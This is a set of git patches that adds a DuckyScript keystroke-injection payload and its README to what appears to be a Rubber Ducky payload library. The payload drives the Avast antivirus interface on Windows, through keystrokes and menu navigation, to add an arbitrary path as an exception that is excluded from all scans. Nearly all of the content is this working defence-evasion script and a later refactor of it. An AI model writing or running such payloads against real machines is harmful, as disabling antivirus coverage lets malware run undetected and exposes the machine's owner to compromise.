From 9e54f7de7507dd603b1a183b56f3b7d074b6b7ba Mon Sep 17 00:00:00 2001 From: Aleff Date: Mon, 12 Jun 2023 10:57:27 +0200 Subject: [PATCH 1/3] Add An Exception To Avast Antivirus --- .../payload.txt | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt diff --git a/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt b/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt new file mode 100644 index 0000000..522cadc --- /dev/null +++ b/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt @@ -0,0 +1,94 @@ +REM ######################################################## +REM # | +REM # Title : Add An Exception To Avast Antivirus | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execute | +REM # Target : Windows 10/11 | +REM # | +REM ######################################################## + + +REM Requirements: +REM - Avast installed and configured + + +REM Set the full-path that you want to set as exception +DEFINE FULL-PATH example/to/path + + +REM Open Avast application +DELAY 2000 +GUI +DELAY 1000 +STRING avast +DELAY 1000 +ENTER + +REM Go to Avast menu +DELAY 1000 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +ENTER + +REM Go to Avast settings +DELAY 1000 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +ENTER + +REM Go to Exceptions menu +DELAY 1000 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +ENTER + +REM Add Exception button +DELAY 500 +TAB +DELAY 500 +ENTER + +REM Write the full-path and then close the Avast app +DELAY 1000 +TAB +DELAY 500 +STRING FULL-PATH +DELAY 500 +TAB +DELAY 500 +ENTER +DELAY 1000 +ALT F4 From 2a0abc653a70711a44a3c8e0d0d033a790d805e0 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Mon, 12 Jun 2023 10:58:02 +0200 Subject: [PATCH 2/3] Create README.md --- .../README.md | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/README.md diff --git a/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/README.md b/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/README.md new file mode 100644 index 0000000..b994cca --- /dev/null +++ b/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/README.md @@ -0,0 +1,24 @@ +# Add An Excepiton To Avast Antivirus + +This script can be used to put an arbitrary exception path in the Avast app. + +**Category**: Execute + +## Description + +This script can be used to put an arbitrary exception path in the Avast app. + +The script open the Avast app, then go to menu, then go to, avast settings, then go to exception menu, then click the add exception button, then write the full-path defined before and save it, then close the app. + +Choosing a specific file, folder, or website will exclude it from all Avast shields and scans, so be very careful when using this payload because it can concretely cause damage to your machine. + +- You must edit the FULL-PATH with the path that you want to set as exception in the payload.txt file + +```DuckyScript +REM Set the full-path that you want to set as exception +DEFINE FULL-PATH example/to/path +``` + +### Dependencies + +* The target must have **Avast installed** and **configured** on the machine \ No newline at end of file From 120dd165a5e37d599d2523e1351181057b553c0c Mon Sep 17 00:00:00 2001 From: Kalani Helekunihi <324833+kalanihelekunihi@users.noreply.github.com> Date: Mon, 12 Jun 2023 15:37:18 -0400 Subject: [PATCH 3/3] Update payload.txt --- .../payload.txt | 54 ++----------------- 1 file changed, 5 insertions(+), 49 deletions(-) diff --git a/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt b/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt index 522cadc..6dc8394 100644 --- a/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt +++ b/payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt @@ -16,79 +16,35 @@ REM - Avast installed and configured REM Set the full-path that you want to set as exception DEFINE FULL-PATH example/to/path - +DEFAULT_DELAY 500 REM Open Avast application DELAY 2000 GUI -DELAY 1000 -STRING avast -DELAY 1000 -ENTER +STRINGLN avast REM Go to Avast menu DELAY 1000 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 +REPEAT 3 TAB ENTER REM Go to Avast settings DELAY 1000 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 +REPEAT 4 TAB ENTER REM Go to Exceptions menu DELAY 1000 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 +REPEAT 12 TAB ENTER REM Add Exception button -DELAY 500 TAB -DELAY 500 ENTER REM Write the full-path and then close the Avast app DELAY 1000 TAB -DELAY 500 STRING FULL-PATH -DELAY 500 TAB -DELAY 500 ENTER -DELAY 1000 ALT F4